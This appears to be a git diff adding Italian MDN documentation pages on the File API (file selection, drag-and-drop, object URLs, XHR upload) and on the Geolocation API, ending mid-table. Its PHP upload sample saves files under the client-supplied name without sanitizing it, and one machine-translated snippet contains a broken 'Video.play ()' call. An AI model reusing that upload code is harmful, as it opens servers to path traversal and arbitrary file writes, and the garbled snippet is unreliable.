+<p>There is no need to add JavaScript code to call <code>fileElem.click()</code>. Also in this case you can style the label element as you wish. You need to provide a visual cue for the focus status of the hidden input field on its label, be it an outline as shown above, or background-color or box-shadow. (As of time of writing, Firefox doesn’t show this visual cue for <code>&lt;input type="file"&gt;</code> elements.)</p>
+
+<h2 id="Selecting_files_using_drag_and_drop">Selecting files using drag and drop</h2>
+
+<p>You can also let the user drag and drop files into your web application.</p>
+
+<p>The first step is to establish a drop zone. Exactly what part of your content will accept drops may vary depending on the design of your application, but making an element receive drop events is easy:</p>
+
+<pre class="brush: js notranslate">let dropbox;
+
+dropbox = document.getElementById("dropbox");
+dropbox.addEventListener("dragenter", dragenter, false);
+dropbox.addEventListener("dragover", dragover, false);
+dropbox.addEventListener("drop", drop, false);
+</pre>
+
+<p>In this example, we're turning the element with the ID <code>dropbox</code> into our drop zone. This is done by adding listeners for the {{event('dragenter')}}, {{event('dragover')}}, and {{event('drop')}} events.</p>
+
+<p>We don't actually need to do anything with the <code>dragenter</code> and <code>dragover</code> events in our case, so these functions are both simple. They just stop propagation of the event and prevent the default action from occurring:</p>
+
+<pre class="brush: js notranslate">function dragenter(e) {
+  e.stopPropagation();
+  e.preventDefault();
+}
+
+function dragover(e) {
+  e.stopPropagation();
+  e.preventDefault();
+}
+</pre>
+
+<p>The real magic happens in the <code>drop()</code> function:</p>
+
+<pre class="brush: js notranslate">function drop(e) {
+  e.stopPropagation();
+  e.preventDefault();
+
+  const dt = e.dataTransfer;
+  const files = dt.files;
+
+  handleFiles(files);
+}
+</pre>
+
+<p>Here, we retrieve the <code>dataTransfer</code> field from the event, pull the file list out of it, and then pass that to <code>handleFiles()</code>. From this point on, handling the files is the same whether the user used the <code>input</code> element or drag and drop.</p>
+
+<h2 id="Example_Showing_thumbnails_of_user-selected_images">Example: Showing thumbnails of user-selected images</h2>
+
+<p>Let's say you're developing the next great photo-sharing website and want to use HTML to display thumbnail previews of images before the user actually uploads them. You can establish your input element or drop zone as discussed previously and have them call a function such as the <code>handleFiles()</code> function below.</p>
+
+<pre class="brush: js notranslate">function handleFiles(files) {
+  for (let i = 0; i &lt; files.length; i++) {
+    const file = files[i];
+
+    if (!file.type.startsWith('image/')){ continue }
+
+    const img = document.createElement("img");
+    img.classList.add("obj");
+    img.file = file;
+    preview.appendChild(img); // Assuming that "preview" is the div output where the content will be displayed.
+
+    const reader = new FileReader();
+    reader.onload = (function(aImg) { return function(e) { aImg.src = e.target.result; }; })(img);
+    reader.readAsDataURL(file);
+  }
+}
+</pre>
+
+<p>Here our loop handling the user-selected files looks at each file's <code>type</code> attribute to see if its MIME type begins with the string "<code>image/</code>"). For each file that is an image, we create a new <code>img</code> element. CSS can be used to establish any pretty borders or shadows and to specify the size of the image, so that doesn't need to be done here.</p>
+
+<p>Each image has the CSS class <code>obj</code> added to it, making it easy to find in the DOM tree. We also add a <code>file</code> attribute to each image specifying the {{DOMxRef("File")}} for the image; this will let us fetch the images for actual upload later. We use {{DOMxRef("Node.appendChild()")}} to add the new thumbnail to the preview area of our document.</p>
+
+<p>Next, we establish the {{DOMxRef("FileReader")}} to handle asynchronously loading the image and attaching it to the <code>img</code> element. After creating the new <code>FileReader</code> object, we set up its <code>onload</code> function and then call <code>readAsDataURL()</code> to start the read operation in the background. When the entire contents of the image file are loaded, they are converted into a <code>data:</code> URL which is passed to the <code>onload</code> callback. Our implementation of this routine sets the <code>img</code> element's <code>src</code> attribute to the loaded image which results in the image appearing in the thumbnail on the user's screen.</p>
+
+<h2 id="Using_object_URLs">Using object URLs</h2>
+
+<p>The DOM {{DOMxRef("URL.createObjectURL()")}} and {{DOMxRef("URL.revokeObjectURL()")}} methods let you create simple URL strings that can be used to reference any data that can be referred to using a DOM {{DOMxRef("File")}} object, including local files on the user's computer.</p>
+
+<p>When you have a {{DOMxRef("File")}} object you'd like to reference by URL from HTML, you can create an object URL for it like this:</p>
+
+<pre class="brush: js notranslate">const objectURL = window.URL.createObjectURL(fileObj);</pre>
+
+<p>The object URL is a string identifying the {{DOMxRef("File")}} object. Each time you call {{DOMxRef("URL.createObjectURL()")}}, a unique object URL is created even if you've created an object URL for that file already. Each of these must be released. While they are released automatically when the document is unloaded, if your page uses them dynamically you should release them explicitly by calling {{DOMxRef("URL.revokeObjectURL()")}}:</p>
+
+<pre class="brush: js notranslate">URL.revokeObjectURL(objectURL);</pre>
+
+<h2 id="Example_Using_object_URLs_to_display_images">Example: Using object URLs to display images</h2>
+
+<p>This example uses object URLs to display image thumbnails. In addition, it displays other file information including their names and sizes.</p>
+
+<p>The HTML that presents the interface looks like this:</p>
+
+<pre class="brush: html notranslate">&lt;input type="file" id="fileElem" multiple accept="image/*" style="display:none"&gt;
+&lt;a href="#" id="fileSelect"&gt;Select some files&lt;/a&gt;
+&lt;div id="fileList"&gt;
+  &lt;p&gt;No files selected!&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<p>This establishes our file {{HTMLElement("input")}} element as well as a link that invokes the file picker (since we keep the file input hidden to prevent that less-than-attractive user interface from being displayed). This is explained in the section {{anch("Using hidden file input elements using the click() method")}}, as is the method that invokes the file picker.</p>
+
+<p>The <code>handleFiles()</code> method follows:</p>
+
+<pre class="brush: js notranslate">const fileSelect = document.getElementById("fileSelect"),
+    fileElem = document.getElementById("fileElem"),
+    fileList = document.getElementById("fileList");
+
+fileSelect.addEventListener("click", function (e) {
+  if (fileElem) {
+    fileElem.click();
+  }
+  e.preventDefault(); // prevent navigation to "#"
+}, false);
+
+fileElem.addEventListener("change", handleFiles, false);
+
+function handleFiles() {
+  if (!this.files.length) {
+    fileList.innerHTML = "&lt;p&gt;No files selected!&lt;/p&gt;";
+  } else {
+    fileList.innerHTML = "";
+    const list = document.createElement("ul");
+    fileList.appendChild(list);
+    for (let i = 0; i &lt; this.files.length; i++) {
+      const li = document.createElement("li");
+      list.appendChild(li);
+
+      const img = document.createElement("img");
+      img.src = URL.createObjectURL(this.files[i]);
+      img.height = 60;
+      img.onload = function() {
+        URL.revokeObjectURL(this.src);
+      }
+      li.appendChild(img);
+      const info = document.createElement("span");
+      info.innerHTML = this.files[i].name + ": " + this.files[i].size + " bytes";
+      li.appendChild(info);
+    }
+  }
+}
+</pre>
+
+<p>This starts by fetching the URL of the {{HTMLElement("div")}} with the ID <code>fileList</code>. This is the block into which we'll insert our file list, including thumbnails.</p>
+
+<p>If the {{DOMxRef("FileList")}} object passed to <code>handleFiles()</code> is <code>null</code>, we simply set the inner HTML of the block to display "No files selected!". Otherwise, we start building our file list, as follows:</p>
+
+<ol>
+ <li>A new unordered list ({{HTMLElement("ul")}}) element is created.</li>
+ <li>The new list element is inserted into the {{HTMLElement("div")}} block by calling its {{DOMxRef("Node.appendChild()")}} method.</li>
+ <li>For each {{DOMxRef("File")}} in the {{DOMxRef("FileList")}} represented by <code>files</code>:
+  <ol>
+   <li>Create a new list item ({{HTMLElement("li")}}) element and insert it into the list.</li>
+   <li>Create a new image ({{HTMLElement("img")}}) element.</li>
+   <li>Set the image's source to a new object URL representing the file, using {{DOMxRef("URL.createObjectURL()")}} to create the blob URL.</li>
+   <li>Set the image's height to 60 pixels.</li>
+   <li>Set up the image's load event handler to release the object URL since it's no longer needed once the image has been loaded. This is done by calling the {{DOMxRef("URL.revokeObjectURL()")}} method and passing in the object URL string as specified by <code>img.src</code>.</li>
+   <li>Append the new list item to the list.</li>
+  </ol>
+ </li>
+</ol>
+
+<p>Here is a live demo of the code above:</p>
+
+<p>{{EmbedLiveSample('Example_Using_object_URLs_to_display_images', '100%', '300px')}}</p>
+
+<h2 id="Example_Uploading_a_user-selected_file">Example: Uploading a user-selected file</h2>
+
+<p>Another thing you might want to do is let the user upload the selected file or files (such as the images selected using the previous example) to a server. This can be done asynchronously very easily.</p>
+
+<h3 id="Creating_the_upload_tasks">Creating the upload tasks</h3>
+
+<p>Continuing with the code that built the thumbnails in the previous example, recall that every thumbnail image is in the CSS class <code>obj</code> with the corresponding {{DOMxRef("File")}} attached in a <code>file</code> attribute. This allows us to select all of the images the user has chosen for uploading using {{DOMxRef("Document.querySelectorAll()")}}, like this:</p>
+
+<pre class="brush: js notranslate">function sendFiles() {
+  const imgs = document.querySelectorAll(".obj");
+
+  for (let i = 0; i &lt; imgs.length; i++) {
+    new FileUpload(imgs[i], imgs[i].file);
+  }
+}
+</pre>
+
+<p>Line 2 fetches a {{DOMxRef("NodeList")}}, called <code>imgs</code>, of all the elements in the document with the CSS class <code>obj</code>. In our case, these will be all of the image thumbnails. Once we have that list, it's trivial to go through it and create a new <code>FileUpload</code> instance for each. Each of these handles uploading the corresponding file.</p>
+
+<h3 id="Handling_the_upload_process_for_a_file">Handling the upload process for a file</h3>
+
+<p>The <code>FileUpload</code> function accepts two inputs: an image element and a file from which to read the image data.</p>
+
+<pre class="brush: js notranslate">function FileUpload(img, file) {
+  const reader = new FileReader();
+  this.ctrl = createThrobber(img);
+  const xhr = new XMLHttpRequest();
+  this.xhr = xhr;
+
+  const self = this;
+  this.xhr.upload.addEventListener("progress", function(e) {
+        if (e.lengthComputable) {
+          const percentage = Math.round((e.loaded * 100) / e.total);
+          self.ctrl.update(percentage);
+        }
+      }, false);
+
+  xhr.upload.addEventListener("load", function(e){
+          self.ctrl.update(100);
+          const canvas = self.ctrl.ctx.canvas;
+          canvas.parentNode.removeChild(canvas);
+      }, false);
+  xhr.open("POST", "http://demos.hacks.mozilla.org/paul/demos/resources/webservices/devnull.php");
+  xhr.overrideMimeType('text/plain; charset=x-user-defined-binary');
+  reader.onload = function(evt) {
+    xhr.send(evt.target.result);
+  };
+  reader.readAsBinaryString(file);
+}
+</pre>
+
+<p>The <code>FileUpload()</code> function shown above creates a throbber, which is used to display progress information, and then creates an {{DOMxRef("XMLHttpRequest")}} to handle uploading the data.</p>
+
+<p>Before actually transferring the data, several preparatory steps are taken:</p>
+
+<ol>
+ <li>The <code>XMLHttpRequest</code>'s upload <code>progress</code> listener is set to update the throbber with new percentage information so that as the upload progresses the throbber will be updated based on the latest information.</li>
+ <li>The <code>XMLHttpRequest</code>'s upload <code>load</code> event handler is set to update the throbber progress information to 100% to ensure the progress indicator actually reaches 100% (in case of granularity quirks during the process). It then removes the throbber since it's no longer needed. This causes the throbber to disappear once the upload is complete.</li>
+ <li>The request to upload the image file is opened by calling <code>XMLHttpRequest</code>'s <code>open()</code> method to start generating a POST request.</li>
+ <li>The MIME type for the upload is set by calling the <code>XMLHttpRequest</code> function <code>overrideMimeType()</code>. In this case, we're using a generic MIME type; you may or may not need to set the MIME type at all depending on your use case.</li>
+ <li>The <code>FileReader</code> object is used to convert the file to a binary string.</li>
+ <li>Finally, when the content is loaded the <code>XMLHttpRequest</code> function <code>send()</code> is called to upload the file's content.</li>
+</ol>
+
+<h3 id="Asynchronously_handling_the_file_upload_process">Asynchronously handling the file upload process</h3>
+
+<p>This example, which uses PHP on the server side and JavaScript on the client side, demonstrates asynchronous uploading of a file.</p>
+
+<pre class="brush: js notranslate">&lt;?php
+if (isset($_FILES['myFile'])) {
+    // Example:
+    move_uploaded_file($_FILES['myFile']['tmp_name'], "uploads/" . $_FILES['myFile']['name']);
+    exit;
+}
+?&gt;&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+&lt;head&gt;
+    &lt;title&gt;dnd binary upload&lt;/title&gt;
+    &lt;meta http-equiv="Content-Type" content="text/html; charset=UTF-8"&gt;
+    &lt;script type="application/javascript"&gt;
+        function sendFile(file) {
+            const uri = "/index.php";
+            const xhr = new XMLHttpRequest();
+            const fd = new FormData();
+
+            xhr.open("POST", uri, true);
+            xhr.onreadystatechange = function() {
+                if (xhr.readyState == 4 &amp;&amp; xhr.status == 200) {
+                    alert(xhr.responseText); // handle response.
+                }
+            };
+            fd.append('myFile', file);
+            // Initiate a multipart/form-data upload
+            xhr.send(fd);
+        }
+
+        window.onload = function() {
+            const dropzone = document.getElementById("dropzone");
+            dropzone.ondragover = dropzone.ondragenter = function(event) {
+                event.stopPropagation();
+                event.preventDefault();
+            }
+
+            dropzone.ondrop = function(event) {
+                event.stopPropagation();
+                event.preventDefault();
+
+                const filesArray = event.dataTransfer.files;
+                for (let i=0; i&lt;filesArray.length; i++) {
+                    sendFile(filesArray[i]);
+                }
+            }
+        }
+    &lt;/script&gt;
+&lt;/head&gt;
+&lt;body&gt;
+    &lt;div&gt;
+        &lt;div id="dropzone" style="margin:30px; width:500px; height:300px; border:1px dotted grey;"&gt;Drag &amp; drop your file here...&lt;/div&gt;
+    &lt;/div&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Example_Using_object_URLs_to_display_PDF">Example: Using object URLs to display PDF</h2>
+
+<p>Object URLs can be used for other things than just images! They can be used to display embedded PDF files or any other resources that can be displayed by the browser.</p>
+
+<p>In Firefox, to have the PDF appear embedded in the iframe (rather than proposed as a downloaded file), the preference <code>pdfjs.disabled</code> must be set to <code>false</code> {{non-standard_inline()}}.</p>
+
+<pre class="brush: html notranslate">&lt;iframe id="viewer"&gt;
+</pre>
+
+<p>And here is the change of the <code>src</code> attribute:</p>
+
+<pre class="brush: js notranslate">const obj_url = URL.createObjectURL(blob);
+const iframe = document.getElementById('viewer');
+iframe.setAttribute('src', obj_url);
+URL.revokeObjectURL(obj_url);</pre>
+
+<h2 id="Example_Using_object_URLs_with_other_file_types">Example: Using object URLs with other file types</h2>
+
+<p>You can manipulate files of other formats the same way. Here is how to preview uploaded video:</p>
+
+<pre class="brush: js notranslate">const video = document.getElementById('video');<font><font>
+const obj_url = URL.createObjectURL (blob);</font></font><font><font>
+video.src = obj_url;</font></font><font><font>
+Video.play ();</font></font><font><font>
+URL.revokeObjectURL (obj_url);</font></font></pre>
+
+<h2 id="specificazioni"><font><font>specificazioni</font></font></h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col"><font><font>specificazione</font></font></th>
+   <th scope="col"><font><font>Stato</font></font></th>
+   <th scope="col"><font><font>Commento</font></font></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><font><font>{{SpecName ('HTML WHATWG', 'numero-stato.html # concetto-input-tipo-file-selezionato', 'Stato caricamento file')}}</font></font></td>
+   <td><font><font>{{Spec2 ('HTML WHATWG')}}</font></font></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><font><font>{{SpecName ('File API')}}</font></font></td>
+   <td><font><font>{{Spec2 ('API file')}}</font></font></td>
+   <td><font><font>Definizione iniziale</font></font></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Guarda_anche"><font><font>Guarda anche</font></font></h2>
+
+<ul>
+ <li><font><font>{{DOMxRef ( "File")}}</font></font></li>
+ <li><font><font>{{DOMxRef ( "FileList")}}</font></font></li>
+ <li><font><font>{{DOMxRef ( "FileReader")}}</font></font></li>
+ <li><font><font>{{DOMxRef ( "URL")}}</font></font></li>
+ <li><font><font>{{DOMxRef ( "XMLHttpRequest")}}</font></font></li>
+ <li><a href="/en/DOM/XMLHttpRequest/Using_XMLHttpRequest" title="En / Using XMLHttpRequest"><font><font>Utilizzando XMLHttpRequest</font></font></a></li>
+</ul>
diff --git a/files/it/web/api/geolocation/index.html b/files/it/web/api/geolocation/index.html
new file mode 100644
index 0000000000..290260cdd6
--- /dev/null
+++ b/files/it/web/api/geolocation/index.html
@@ -0,0 +1,133 @@
+---
+title: Geolocation
+slug: Web/API/Geolocation
+translation_of: Web/API/Geolocation
+---
+<div>{{securecontext_header}}{{APIRef("Geolocation API")}}</div>
+
+<p>L'interfaccia <code><strong>Geolocation</strong></code> rappresenta un oggetto in grado di ottenere tramite codice la posizione del dispositivo utilizzato. Questo permette ai contenuti web di accedere alla posizione del dispositivo: ad esempio un sito web o una applicaziomne possono mostrare risultati personalizzati in base alla posizione del dispositivo.</p>
+
+<p>Un oggetto con questa interfaccia si ottiene usando la proprietà {{domxref("navigator.geolocation")}}, implementata dall'oggetto {{domxref("Navigator")}}.</p>
+
+<div class="note">
+<p><strong>Nota:</strong> Per ragioni di sicurezza, quando una pagina web cerca di accedere alla posizione, l'utente viene notificato e gli viene chiesto il permesso. Considera che ogni browser ha una propria policy e un modo differente per chiedere il permesso.</p>
+</div>
+
+<h2 id="Proprietà">Proprietà</h2>
+
+<p><em>L'interfaccia <code>Geolocation</code> non ha né implementazioni né proprietà.</em></p>
+
+<h2 id="Metodi">Metodi</h2>
+
+<p><em><em>L'interfaccia <code>Geolocation</code> non eredita alcun metodo.</em></em></p>
+
+<dl>
+ <dt>{{domxref("Geolocation.getCurrentPosition()")}} {{securecontext_inline}}</dt>
+ <dd>Determina la posizione corrente del dispositivo e ritorna un oggetto {{domxref("Position")}} con i dati.</dd>
+ <dt>{{domxref("Geolocation.watchPosition()")}} {{securecontext_inline}}</dt>
+ <dd>Ritorna un valore <code>long</code> che rappresenta l'ultima chiamata alla funzione eseguita, quando la posizione del dispositivo cambia.</dd>
+ <dt>{{domxref("Geolocation.clearWatch()")}} {{securecontext_inline}}</dt>
+ <dd>Rimuove l'handler installato con <code>watchPosition()</code>.</dd>
+</dl>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specifiche</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commento</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Geolocation')}}</td>
+   <td>{{Spec2('Geolocation')}}</td>
+   <td>Specifiche iniziali.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_dei_browser">Compatibilità dei browser</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Funzionalità</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Supporto base</td>
+   <td>5</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>9</td>
+   <td>10.60<br>
+    Rimosso nella 15.0<br>
+    Reintrodotto nella 16.0</td>
+   <td>5</td>
+  </tr>
+  <tr>
+   <td>Secure context-only</td>
+   <td>47</td>
+   <td>{{CompatUnknown()}}</td>
+   <td>{{CompatGeckoDesktop("55")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Supporto base</td>
+   <td>{{CompatUnknown()}}</td>
+   <td>{{CompatUnknown()}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("4")}}</td>
+   <td>{{CompatUnknown()}}</td>
+   <td>10.60</td>
+   <td>{{CompatUnknown()}}</td>
+  </tr>
+  <tr>
+   <td>Secure context-only</td>
+   <td>{{CompatNo}}</td>
+   <td>47</td>
+   <td>{{CompatUnknown()}}</td>
+   <td>{{CompatGeckoDesktop("55")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li><a href="/en-US/docs/WebAPI/Using_geolocation" title="/en-US/docs/WebAPI/Using_geolocation">Uso della geolocalizzazione</a></li>
+</ul>
diff --git a/files/it/web/api/geolocation/using_geolocation/index.html b/files/it/web/api/geolocation/using_geolocation/index.html
new file mode 100644
index 0000000000..303cb4a8bb
--- /dev/null
+++ b/files/it/web/api/geolocation/using_geolocation/index.html
@@ -0,0 +1,321 @@
+---
+title: Using geolocation
+slug: Web/API/Geolocation/Using_geolocation
+translation_of: Web/API/Geolocation_API
+---
+<p>{{securecontext_header}}{{APIRef("Geolocation API")}}</p>
+
+<p>Le<strong> API per la geolocalizzazione</strong> permettono agli utenti di fornire la propria posizione alle applicazioni web. Per ragioni di privacy, all'utente viene richiesta l'autorizzazione all'uso della posizione.</p>
+
+<h2 id="L'oggetto_della_geolocalizzazione">L'oggetto della geolocalizzazione</h2>
+
+<p>Le API di geolocalizzazione sono pubblicate tramite l'oggetto {{domxref("navigator.geolocation")}}.</p>
+
+<p>Se l'oggetto esiste, il servizio di geolocalizzazione è disponibile. Puoi testare l'esistenza dell'oggetto tramite:</p>
+
+<pre class="brush: js">if ("geolocation" in navigator) {
+  /* la geolocalizzazione è disponibile */
+} else {
+  /* la geolocalizzazione NON È disponibile */
+}
+</pre>
+
+<div class="note">
+<p><strong>Nota:</strong> Su Firefox 24 e versioni più vecchie, <code>"geolocation" in navigator</code> ritorna sempre <code>true</code> anche se l'API è stata disabilitata. Questa cosa è stata sistemata con <a href="/en-US/docs/Mozilla/Firefox/Releases/25/Site_Compatibility">Firefox 25</a>. ({{bug(884921)}}).</p>
+</div>
+
+<h3 id="Ottenere_la_posizione_corrente">Ottenere la posizione corrente</h3>
+
+<p>Per ottenere la posizione corrente dell'utente devi chiamare il metodo {{domxref("geolocation.getCurrentPosition()","getCurrentPosition()")}}. Viene così lanciata una richiesta asincrona che calcola la posizione attuale dell'utente. Quando la posizione viene calcolata, la funzione viene eseguita. Puoi creare una funzione che viene chiamata in caso di errore. Un terzo parametro opzionale è un oggetto che permette di settare il tempo massimo della posizione calcolata, il tempo di attessa per una nuova richiesta e la possibilità di usare la massima accuratezza per il cacolo della posizione.</p>
+
+<div class="note">
+<p><strong>Nota:</strong> Per default, {{domxref("Geolocation.getCurrentPosition()","getCurrentPosition()")}} cerca di calcolare la posizione nel modo più veloce possibile avendo però una bassa accuratezza. Questo metodo è utile se ti serve una risposta veloce. Dispositivi con il GPS possono richiedere anche alcuni minuti per fare un calcolo preciso della posizione, quindi dei dati meno accurati (come l'indirizzo IP o il wifi) possono essere usati da {{domxref("Geolocation.getCurrentPosition()","getCurrentPosition()")}}.</p>
+</div>
+
+<pre class="brush: js">navigator.geolocation.getCurrentPosition(function(position) {
+  do_something(position.coords.latitude, position.coords.longitude);
+});</pre>
+
+<p>L'esempio qui sopra chiama la funzione <code>do_something()</code> quando la posizione viene calcolata.</p>
+
+<h3 id="Controllare_la_posizione_attuale">Controllare la posizione attuale</h3>
+
+<p>Se la posizione cambia (perché il dispositivo di sposta o perché viene calcolata una posizione più accurata), puoi settare una funzione che viene chiamata quando la posizione attuale si aggiorna. Basta usare la funzione {{domxref("Geolocation.watchPosition()","watchPosition()")}}, che ha gli stessi parametri di input di {{domxref("Geolocation.getCurrentPosition()","getCurrentPosition()")}}. Questa funzione viene chiamata più volte così da permettere al browser di sapere sempre la posizione del dispositivo. La funzione di errore è opzionale come lo era per {{domxref("Geolocation.getCurrentPosition()","getCurrentPosition()")}}.</p>
+
+<div class="note">
+<p><strong>Nota:</strong> Puoi usare {{domxref("Geolocation.watchPosition()","watchPosition()")}} senza una chiamata iniziale a {{domxref("Geolocation.getCurrentPosition()","getCurrentPosition()")}}</p>
+</div>
+
+<pre class="brush: js">var watchID = navigator.geolocation.watchPosition(function(position) {
+  do_something(position.coords.latitude, position.coords.longitude);
+});</pre>
+
+<p>Il metodo {{domxref("Geolocation.watchPosition()","watchPosition()")}} ritorna un ID numerico che può essere usato per identificare univocamente il controllo della posizione; puoi usare questo valore insieme al metodo {{domxref("Geolocation.clearWatch()","clearWatch()")}} per fermare il controllo della posizione.</p>
+
+<pre class="brush: js">navigator.geolocation.clearWatch(watchID);
+</pre>
+
+<h3 id="Risposta_positiva">Risposta positiva</h3>
+
+<p>Sia {{domxref("Geolocation.getCurrentPosition()","getCurrentPosition()")}} che {{domxref("Geolocation.watchPosition()","watchPosition()")}} accettano una risposta positiva, opzionalmente una risposta di errore e un oggetto <a href="/en-US/docs/Web/API/PositionOptions">PositionOptions</a>.</p>
+
+<p>{{page("/en-US/docs/DOM/navigator.geolocation.getCurrentPosition","PositionOptions")}}</p>
+
+<p>Una chiamata a {{domxref("Geolocation.watchPosition()","watchPosition")}} è più o meno così:</p>
+
+<pre class="brush: js">function geo_success(position) {
+  do_something(position.coords.latitude, position.coords.longitude);
+}
+
+function geo_error() {
+  alert("Nessuna posizione disponibile.");
+}
+
+var geo_options = {
+  enableHighAccuracy: true,
+  maximumAge        : 30000,
+  timeout           : 27000
+};
+
+var wpid = navigator.geolocation.watchPosition(geo_success, geo_error, geo_options);</pre>
+
+<h2 id="Descrivere_una_posizione">Descrivere una posizione</h2>
+
+<p>La posizione dell'utente è descritta usando un oggetto <code>Position</code>, che deriva dall'oggetto <code>Coordinates</code>.</p>
+
+<p>{{page("/en-US/docs/DOM/navigator/geolocation/getCurrentPosition","Position")}}</p>
+
+<p>{{page("/en-US/docs/DOM/navigator/geolocation/getCurrentPosition","Coordinates")}}</p>
+
+<h2 id="Errori">Errori</h2>
+
+<p>La funzione che viene invocata in caso di errore quando si chiamano <code>getCurrentPosition()</code> o <code>watchPosition()</code> vuole un oggetto <a href="/en-US/docs/Web/API/PositionError">PositionError</a> come primo parametro.</p>
+
+<pre class="brush: js">function errorCallback(error) {
+  alert('ERROR(' + error.code + '): ' + error.message);
+};
+</pre>
+
+<p>{{page("/en-US/docs/DOM/navigator/geolocation/getCurrentPosition","PositionError")}}</p>
+
+<h2 id="Esempi_live">Esempi live</h2>
+
+<div class="hidden">
+<pre class="brush: css">body {
+  padding: 20px;
+  background-color:#ffffc9
+}
+
+p { margin : 0; }
+</pre>
+</div>
+
+<h3 id="HTML_Content">HTML Content</h3>
+
+<pre class="brush: html;">&lt;p&gt;&lt;button onclick="geoFindMe()"&gt;Viasualizza la mia posizione&lt;/button&gt;&lt;/p&gt;
+&lt;div id="out"&gt;&lt;/div&gt;
+</pre>
+
+<h3 id="JavaScript_Content">JavaScript Content</h3>
+
+<pre class="brush: js;">function geoFindMe() {
+  var output = document.getElementById("out");
+
+  if (!navigator.geolocation){
+    output.innerHTML = "&lt;p&gt;La geolocalizzazione non è supportata dal tuo browser&lt;/p&gt;";
+    return;
+  }
+
+  function success(position) {
+    var latitude  = position.coords.latitude;
+    var longitude = position.coords.longitude;
+
+    output.innerHTML = '&lt;p&gt;Latitudine: ' + latitude + '° &lt;br&gt;Longitudine: ' + longitude + '°&lt;/p&gt;';
+
+    var img = new Image();
+    img.src = "https://maps.googleapis.com/maps/api/staticmap?center=" + latitude + "," + longitude + "&amp;zoom=13&amp;size=300x300&amp;sensor=false";
+
+    output.appendChild(img);
+  }
+
+  function error() {
+    output.innerHTML = "Impossibile calcolare la tua posizione";
+  }
+
+  output.innerHTML = "&lt;p&gt;Locating…&lt;/p&gt;";
+
+  navigator.geolocation.getCurrentPosition(success, error);
+}
+</pre>
+
+<h3 id="Risultato_live">Risultato live</h3>
+
+<p>{{EmbedLiveSample('Geolocation_Live_Example', 350, 410)}}</p>
+
+<h2 id="I_permessi">I permessi</h2>
+
+<p>Tutte le estensioni presenti su <a href="https://addons.mozilla.org/">addons.mozilla.org</a> che richiedono la posizione sono obbligate a chiedere un permesso all'utente. La seguente funzione richiede il permesso per l'uso della posizione. La risposta dell'utente viene salvata nelle preferenze tramite il parametro <code>pref</code>. La funzione fornita nel parametro <code>callback</code> viene chiamata con un valore booleano (<code>true</code> o <code>false</code>) che indica la risposta dell'utente. Se la risposta è <code>true</code>, l'estensione può accedere alla posizione dell'utente.</p>
+
+<pre class="brush: js">function prompt(window, pref, message, callback) {
+    let branch = Components.classes["@mozilla.org/preferences-service;1"]
+                           .getService(Components.interfaces.nsIPrefBranch);
+
+    if (branch.getPrefType(pref) === branch.PREF_STRING) {
+        switch (branch.getCharPref(pref)) {
+        case "always":
+            return callback(true);
+        case "never":
+            return callback(false);
+        }
+    }
+
+    let done = false;
+
+    function remember(value, result) {
+        return function() {
+            done = true;
+            branch.setCharPref(pref, value);
+            callback(result);
+        }
+    }
+
+    let self = window.PopupNotifications.show(
+        window.gBrowser.selectedBrowser,
+        "geolocation",
+        message,
+        "geo-notification-icon",
+        {
+            label: "Share Location",
+            accessKey: "S",
+            callback: function(notification) {
+                done = true;
+                callback(true);
+            }
+        }, [
+            {
+                label: "Always Share",
+                accessKey: "A",
+                callback: remember("always", true)
+            },
+            {
+                label: "Never Share",
+                accessKey: "N",
+                callback: remember("never", false)
+            }
+        ], {
+            eventCallback: function(event) {
+                if (event === "dismissed") {
+                    if (!done) callback(false);
+                    done = true;
+                    window.PopupNotifications.remove(self);
+                }
+            },
+            persistWhileVisible: true
+        });
+}
+
+prompt(window,
+       "extensions.foo-addon.allowGeolocation",
+       "Foo Add-on wants to know your location.",
+       function callback(allowed) { alert(allowed); });
+</pre>
+
+<h2 id="Compatibilità_dei_browser">Compatibilità dei browser</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Funzionalità</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Supporto base</td>
+   <td>{{CompatChrome(5.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}<sup>[1]</sup></td>
+   <td>9</td>
+   <td>10.60<br>
+    {{CompatNo}} 15.0<br>
